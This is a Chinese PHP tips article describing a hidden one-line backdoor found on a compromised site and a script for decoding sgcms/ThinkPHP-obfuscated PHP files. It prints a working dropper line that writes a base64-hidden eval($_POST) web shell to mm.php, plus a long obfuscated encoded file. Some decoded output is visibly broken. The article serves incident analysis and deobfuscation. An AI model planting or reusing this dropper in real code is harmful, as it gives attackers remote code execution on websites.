PHP隐形一句话后门，和ThinkPHP框架加密码程序(base64_decode)_php技巧

 
 
最后查到某文件内的第一行为以下代码： 
 代码如下:

fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=")); 
base64_decode("bW0ucGhw") //mm.php 
base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=") // 
 
 
这样，只要这些文件被访问就会自动创建 mm.php 
如果你发现了mm.php，删除了，以后还会再有的，真是越来越变态了~ 
下以相关内容 
 代码如下:

PD9ldmFs //base64_encode("ZXZhbA== //base64_encode("eval"); 
 
还发现一个ThinkPHP框架—sgcms的相密文件，内容以下： 
 代码如下:

$OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=12308;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTY1KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ05TWGZZT0cvUXExeWF1ak00VzlFeDh0bEk3b0FIVmR3NWhEQ3oyQjBuc3ZQcFptS2diUjNKVUxlaytyNmNUaUY9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?> 
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 
 
解密后为： 
 代码如下:

echo ' 
 
 
 
 
 
 
 
 
';?> 
 
这是一个用来打包成zip的php代码，这些鸟人为了黑别人的网站什么办法都用，真恶心~~ 
下如是一个高人写的ThinkPHP框架(sgcms)解密程序： 
 代码如下:

// This file is protected by sgcms & provided under license. 
Copyright(C) 2007-2010 www.sgcms.cn, All rights reserved. 
$OOO0O0O00=__FILE__; 
$OOO000000=urldecode('th6sbehqla4co_sadfpnr'); 
$OO00O0000=21496; 
$OOO0000O0=$OOO000000{4}. 
$OOO000000{9}.$OOO000000{3}.$OOO000000{5}; 
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16}; 
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5}; 
$O0O0000O0='OOO0000O0'; 
eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwM... 
 
很明显，是使用了某种PHP代码混淆工具混淆了下，Google网上搜了下，问题解决，给遇到同样问题的朋友一个方便。 
解密php文件： 
 代码如下:

$filename="GlobalAction.class.php";//要解密的文件 
$lines = file($filename);//0,1,2行 
//第一次base64解密 
$content=""; 
if(preg_match("/O0O0000O0\('.*'\)/",$lines[1],$y)) 
{ 
$content=str_replace("O0O0000O0('","",$y[0]); 
$content=str_replace("')","",$content); 
$content=base64_decode($content); 
} 
//第一次base64解密后的内容中查找密钥 
$decode_key=""; 
if(preg_match("/\),'.*',/",$content,$k)) 
{ 
$decode_key=str_replace("),'","",$k[0]); 
$decode_key=str_replace("',","",$decode_key); 
} 
//查找要截取字符串长度 
$str_length=""; 
if(preg_match("/,\d*\),/",$content,$k)) 
{ 
$str_length=str_replace("),","",$k[0]); 
$str_length=str_replace(",","",$str_length); 
} 
//截取文件加密后的密文 
$Secret=substr($lines[2],$str_length); 
//echo $Secret; 
//直接还原密文
输出 
echo "'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')). 
"?>"; 
?>